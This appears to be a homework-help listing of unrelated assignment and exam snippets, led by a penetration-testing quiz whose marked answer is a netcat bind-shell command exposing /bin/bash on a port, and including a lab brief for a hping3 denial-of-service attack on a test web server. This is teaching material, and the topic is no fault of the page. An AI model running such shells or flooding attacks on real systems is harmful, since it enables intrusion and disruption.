A penetration tester has compromised a system and wishes to connect to a port on it from the attacking machine to control the system. Which of the following commands should the tester run on the compromised system?
nc localhost 4423
nc -lvlp 4423 -e /bin/bash
nc 10.0.0.1 4423
nc 127.0.0.1 442 -e /bin/bash
The correct option is:
nc -lvlp 4423 -e /bin/bash
Explanation:
nc command is similar to cat used for reading, writing, redirecting data across a network.
A penetration tester has compromised a system and wishes to connect to a port on it...
You will create a shell script that prints out the following information about the system it is run on: • The system’s name and IP address • How much memory the system is currently using, and how much total memory it has • The number of CPUs of the machine • The number of unique users on the system at that moment When your script is run, each of these values should be clearly labeled in the output, such as...
You will create a shell script that prints out the following information about the system it is run on: • The system’s name and IP address • How much memory the system is currently using, and how much total memory it has • The number of CPUs of the machine • The number of unique users on the system at that moment When your script is run, each of these values should be clearly labeled in the output, such as...
I need help with this assignment, please; Programming Assignment 3: UDP Pinger Lab In this lab, you will study a simple Internet ping server written in the Java language, and implement a corresponding client. The functionality provided by these programs is similar to the standard ping programs available in modern operating systems, except that they use UDP rather than Internet Control Message Protocol (ICMP) to communicate with each other. (Java does not provide a straightforward means to interact with ICMP.)...
Description: In this assignment, you will be launching a denial of service attack on a web server. We will be using hping3, a command-line oriented network security tool inside Kali Linux (an advanced penetration testing Linux distribution). Setting up the victim machine Download the Windows XP virtual machine with WebGoat server installed, using the following link. We will use this machine as the victim machine and launch a DoS attack on the WebGoat server.https://drive.google.com/open?id=0BwCbaZv8DevUejBPWlNHREFVc2s Open the victim machine and launch...
The first script is validate.sh. This is a simple form validation script that will be used to verify the inputs given. Normally, this would be done to validate input from a website or another program before entry into a database or other record storage. In this case, we will keep it simple and only focus on the input validation step. In particular, the script should prompt the user for four values: first name, last name, zip code, and email address....
12. The nurse working with a terminally ill natient/client wishes to support the patient/client's decisions concerning end-of-life care, To do this appropriately, the nurse should plan to do which of the following? a. Be comfortable in assisting the natient client with cuthanasia when requested to do so b. Ask another nurse to provide care if the patient client has a belief system that differs from their own belief system e. Respect the patient elient's wishes about death to the extent...
This is in C. For this assignment we will write a simple database server. We will be creating a simple database of student records, so let’s describe these first. The format of a student record is as follows: typedef struct student { char lname[ 10 ], initial, fname[ 10 ]; unsigned long SID; float GPA; } SREC; Part One – the Server We will create a database server. The job of the server is to accept a...
_ 5. A technician has decided to upgrade all users’ iPhones to the latest model. Which is the FIRST thing the technician should advise the users to do with the old phones before turning them in? A. Back up the mobile data with a cloud backup service. B. Enable remote wipe to clear all personal and corporate data. C. Go into the device settings to remove personal customizations. D. Factory reset the old phones to ensure the data is no...
A new version of the operating system is being planned for installation into your department’s production environment. What sort of testing would you recommend is done before your department goes live with the new version? Identify each type of testing and describe what is tested. Explain the rationale for performing each type of testing. [ your answer goes here ] Would the amount of testing and types of testing to be done be different if you were installing a security...